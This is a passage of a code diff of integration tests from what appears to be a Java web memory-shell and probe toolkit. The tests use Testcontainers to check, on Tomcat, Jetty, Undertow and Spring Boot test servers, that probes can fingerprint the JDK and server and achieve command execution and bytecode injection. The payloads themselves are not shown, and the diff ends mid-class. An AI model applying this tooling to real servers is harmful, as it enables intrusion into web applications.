+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@Testcontainers
+@Slf4j
+public class SpringBoot3WebFluxContainerTest {
+    public static final String imageName = "springboot3-webflux";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
+            .withDockerfile(springBoot3WebfluxDockerfile))
+            .waitingFor(Wait.forHttp("/test"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|17.0.2|61", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Server.SpringWebFlux.name(), data);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java

@@ -0,0 +1,79 @@
+package com.reajason.javaweb.integration.probe.springwebmvc;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.probe.payload.response.TomcatWriter;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import okhttp3.*;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.images.builder.ImageFromDockerfile;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@Testcontainers
+@Slf4j
+public class SpringBoot1ContainerTest {
+    public static final String imageName = "springboot1";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
+            .withDockerfile(springBoot1Dockerfile))
+            .waitingFor(Wait.forHttp("/test"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_342|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.TOMCAT, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrlFromSpringBoot(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrlFromSpringBoot(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java

@@ -0,0 +1,80 @@
+package com.reajason.javaweb.integration.probe.springwebmvc;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.probe.payload.response.TomcatWriter;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import okhttp3.*;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.images.builder.ImageFromDockerfile;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@Testcontainers
+@Slf4j
+public class SpringBoot2ContainerTest {
+    public static final String imageName = "springboot2";
+
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
+            .withDockerfile(springBoot2Dockerfile))
+            .waitingFor(Wait.forHttp("/test"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JRE|1.8.0_342|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.TOMCAT, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrlFromSpringBoot(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrlFromSpringBoot(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java

@@ -0,0 +1,76 @@
+package com.reajason.javaweb.integration.probe.springwebmvc;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.images.builder.ImageFromDockerfile;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@Testcontainers
+@Slf4j
+public class SpringBoot2JettyContainerTest {
+    public static final String imageName = "springboot2-jetty";
+
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
+            .withDockerfile(springBoot2JettyDockerfile))
+            .waitingFor(Wait.forHttp("/test"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_342|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JETTY, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrlFromSpringBoot(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrlFromSpringBoot(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java

@@ -0,0 +1,75 @@
+package com.reajason.javaweb.integration.probe.springwebmvc;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.images.builder.ImageFromDockerfile;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@Testcontainers
+@Slf4j
+public class SpringBoot2UndertowContainerTest {
+    public static final String imageName = "springboot2-undertow";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
+            .withDockerfile(springBoot2UndertowDockerfile))
+            .waitingFor(Wait.forHttp("/test"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_342|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.UNDERTOW, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrlFromSpringBoot(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrlFromSpringBoot(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java

@@ -0,0 +1,75 @@
+package com.reajason.javaweb.integration.probe.springwebmvc;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@Testcontainers
+@Slf4j
+public class SpringBoot2WarContainerTest {
+    public static final String imageName = "tomcat:8-jre8";
+
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JRE|1.8.0_402|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.TOMCAT, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java

@@ -0,0 +1,79 @@
+package com.reajason.javaweb.integration.probe.springwebmvc;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.probe.payload.response.TomcatWriter;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import okhttp3.*;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.images.builder.ImageFromDockerfile;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@Testcontainers
+@Slf4j
+public class SpringBoot3ContainerTest {
+    public static final String imageName = "springboot3";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
+            .withDockerfile(springBoot3Dockerfile))
+            .waitingFor(Wait.forHttp("/test"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|17.0.2|61", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.TOMCAT, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrlFromSpringBoot(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V17);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrlFromSpringBoot(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V17);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java

@@ -0,0 +1,78 @@
+package com.reajason.javaweb.integration.probe.tomcat;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.probe.payload.response.TomcatWriter;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import okhttp3.*;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/4
+ */
+@Slf4j
+@Testcontainers
+public class Tomcat10ContainerTest {
+    public static final String imageName = "tomcat:10.1-jre11";
+
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JRE|11.0.26|55", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.TOMCAT, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V11);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V11);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java

@@ -0,0 +1,79 @@
+package com.reajason.javaweb.integration.probe.tomcat;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.probe.payload.response.TomcatWriter;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import okhttp3.*;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/4
+ */
+@Slf4j
+@Testcontainers
+public class Tomcat11ContainerTest {
+
+    public static final String imageName = "tomcat:11.0-jre17";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JRE|17.0.14|61", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.TOMCAT, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V17);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V17);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java

@@ -0,0 +1,75 @@
+package com.reajason.javaweb.integration.probe.tomcat;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.getUrl;
+import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/4
+ */
+@Slf4j
+@Testcontainers
+public class Tomcat11JRE21ContainerTest {
+
+    public static final String imageName = "tomcat:11.0-jre21";
+
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JRE|21.0.6|65", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.TOMCAT, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V21);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V21);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java

@@ -0,0 +1,79 @@
+package com.reajason.javaweb.integration.probe.tomcat;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.getUrl;
+import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/4
+ */
+@Slf4j
+@Testcontainers
+public class Tomcat5ContainerTest {
+    public static final String imageName = "reajason/tomcat:5-jdk6";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @AfterAll
+    public static void stopContainer() {
+        System.out.println(container.getLogs());
+    }
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.6.0_45|50", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.TOMCAT, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java

@@ -0,0 +1,78 @@
+package com.reajason.javaweb.integration.probe.tomcat;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.probe.payload.response.TomcatWriter;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import okhttp3.*;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.getUrl;
+import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/4
+ */
+@Slf4j
+@Testcontainers
+public class Tomcat6ContainerTest {
+    public static final String imageName = "reajason/tomcat:6-jdk6";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
